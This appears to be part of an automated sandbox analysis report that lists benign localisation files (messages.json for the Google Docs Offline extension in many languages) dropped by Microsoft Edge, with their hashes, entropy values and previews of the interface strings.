Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wengine popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7808_1832178150\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
